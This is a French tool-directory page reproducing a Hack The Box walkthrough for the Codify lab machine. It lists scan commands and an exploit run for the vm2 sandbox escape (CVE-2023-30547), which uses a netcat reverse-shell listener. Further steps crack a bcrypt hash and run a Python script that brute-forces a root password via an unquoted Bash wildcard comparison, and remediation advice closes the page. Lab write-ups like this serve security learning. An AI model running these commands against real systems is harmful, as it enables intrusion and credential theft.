Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Codify-TJNULL-OSCP- — Walkthrough pour Codify (Linux - Facile). Exploite l'exécution de code à distance (RCE) de vm2 (CVE-2023-30547), l'extraction du hash de la base SQLite, le cassage de Bcrypt avec John, et l'élévation de privilèges via une comparaison de wildcard Bash dans `mysql-backup.sh`. | Kitploit
Outils/GitHubGitHub/r3fr4kt/codify-tjnull-oscp-
Escalade de PrivilègesAttaques de Mots de PasseExploitationExploitation d'Applications WebCollecte d'InformationsCTFTests d'IntrusionApprentissage et Éducation

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
r3fr4kt/codify-tjnull-oscp-

Codify-TJNULL-OSCP-

Walkthrough pour Codify (Linux - Facile). Exploite l'exécution de code à distance (RCE) de vm2 (CVE-2023-30547), l'extraction du hash de la base SQLite, le cassage de Bcrypt avec John, et l'élévation de privilèges via une comparaison de wildcard Bash dans `mysql-backup.sh`.

Voir le dépôt
il y a 18 joursPas encore vérifié

Hack The Box — Writeup de Codify

Difficulty OS Platform

Procédure complète de test d'intrusion et writeup pour la machine Codify sur Hack The Box.


📌 Informations sur la machine

ChampValeur
NomCodify
OSLinux
DifficultéFacile
Concepts clésvm2 RCE (CVE-2023-30547), énumération de base SQLite, cassage de Bcrypt, abus des motifs génériques Bash

🛠️ Résumé / Chaîne d'attaque

root@kitploit:~
[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
                                      ⬇️
     [CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
                                      ⬇️
  [SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
                                      ⬇️
     [John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
                                      ⬇️
   [Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
                                      ⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]

🔍 Phase 1 : Reconnaissance et énumération

1. Découverte des ports

Scan rapide des ports sur l'ensemble des 65 535 ports TCP pour découvrir les services ouverts :

Bash

root@kitploit:~
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>

2. Détection des versions de services

Énumération détaillée sur les ports 22, 80, 3000 :

Bash

root@kitploit:~
nmap -sVC -p 22,80,3000 <TARGET_IP>

💥 Phase 2 : Accès initial (Foothold)

1. Exploitation de l'échappement du bac à sable vm2 (CVE-2023-30547)

L'application web exécutée sur le port 3000 utilise une version vulnérable de la bibliothèque de bac à sable vm2 de Node.js.

Clonez le dépôt public de l'exploit :

Bash

root@kitploit:~
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547

2. Exécution de l'exploit

Démarrez un écouteur Netcat local sur votre machine d'attaque :

Bash

root@kitploit:~
ncat -lnvp 4444

Exécutez l'exploit en ciblant l'application web vulnérable :

Bash

root@kitploit:~
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444

Vérifiez votre shell d'accès initial :

Bash

root@kitploit:~
whoami

🔎 Phase 3 : Énumération interne et mouvement latéral

1. Énumération de la base de données SQLite

Naviguez vers le répertoire web /var/www/contact et inspectez la base de données SQLite :

Bash

root@kitploit:~
cd /var/www/contact
ls -la
sqlite3 tickets.db

Extrayez le hash bcrypt de Joshua :

SQL

root@kitploit:~
SELECT password FROM users WHERE username='joshua';

(Appuyez sur CTRL + d pour quitter)

2. Cassage du hash Bcrypt

Cassez le hash extrait à l'aide de John the Ripper et de rockyou.txt :

Bash

root@kitploit:~
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3. Accès SSH et flag utilisateur

Authentifiez-vous via SSH avec les identifiants cassés de Joshua :

Bash

root@kitploit:~
ssh joshua@<TARGET_IP>
cat user.txt

⚡ Phase 4 : Élévation de privilèges

1. Énumération des droits sudo

Vérifiez les commandes sudo autorisées pour l'utilisateur joshua :

Bash

root@kitploit:~
sudo -l

Sortie : (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh

2. Analyse du script de sauvegarde

Inspectez /opt/scripts/mysql-backup.sh :

Bash

root@kitploit:~
cat /opt/scripts/mysql-backup.sh

Vulnérabilité : Le script utilise une correspondance de motif non citée dans Bash ([[ $USER_PASS == $DB_PASS* ]]). Cela permet aux caractères génériques (*) présents dans l'entrée utilisateur de réaliser une attaque par force brute caractère par caractère contre le mot de passe réel.

3. Extraction automatisée du mot de passe (Python)

Créez bruteforce.py pour extraire le mot de passe root caractère par caractère :

Python

root@kitploit:~
import string
import subprocess

all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all_characters:
        # Test password + character + wildcard (*)
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
        
        if "Password confirmed!" in output:
            password += character
            print(f"Found: {password}")
            break
    else:
        found = True

print(f"Root Password: {password}")

Exécutez le script pour extraire le mot de passe :

Bash

root@kitploit:~
python3 bruteforce.py

4. Flag root

Passez dans le contexte de l'utilisateur root en utilisant le mot de passe extrait :

Bash

root@kitploit:~
su root
cat /root/root.txt

🛡️ Remédiation et mesures d'atténuation

  • Corrigez les bibliothèques Node.js : Dépréciez ou mettez à niveau les bibliothèques de bac à sable vulnérables telles que vm2 (CVE-2023-30547).

  • Sécurisez les scripts Bash : Mettez toujours les variables entre guillemets dans les opérations de comparaison de chaînes ([[ "$USER_PASS" == "$DB_PASS" ]]) afin d'éviter les correspondances de motif involontaires et l'injection de caractères génériques dans les scripts privilégiés.

Télécharger l’outil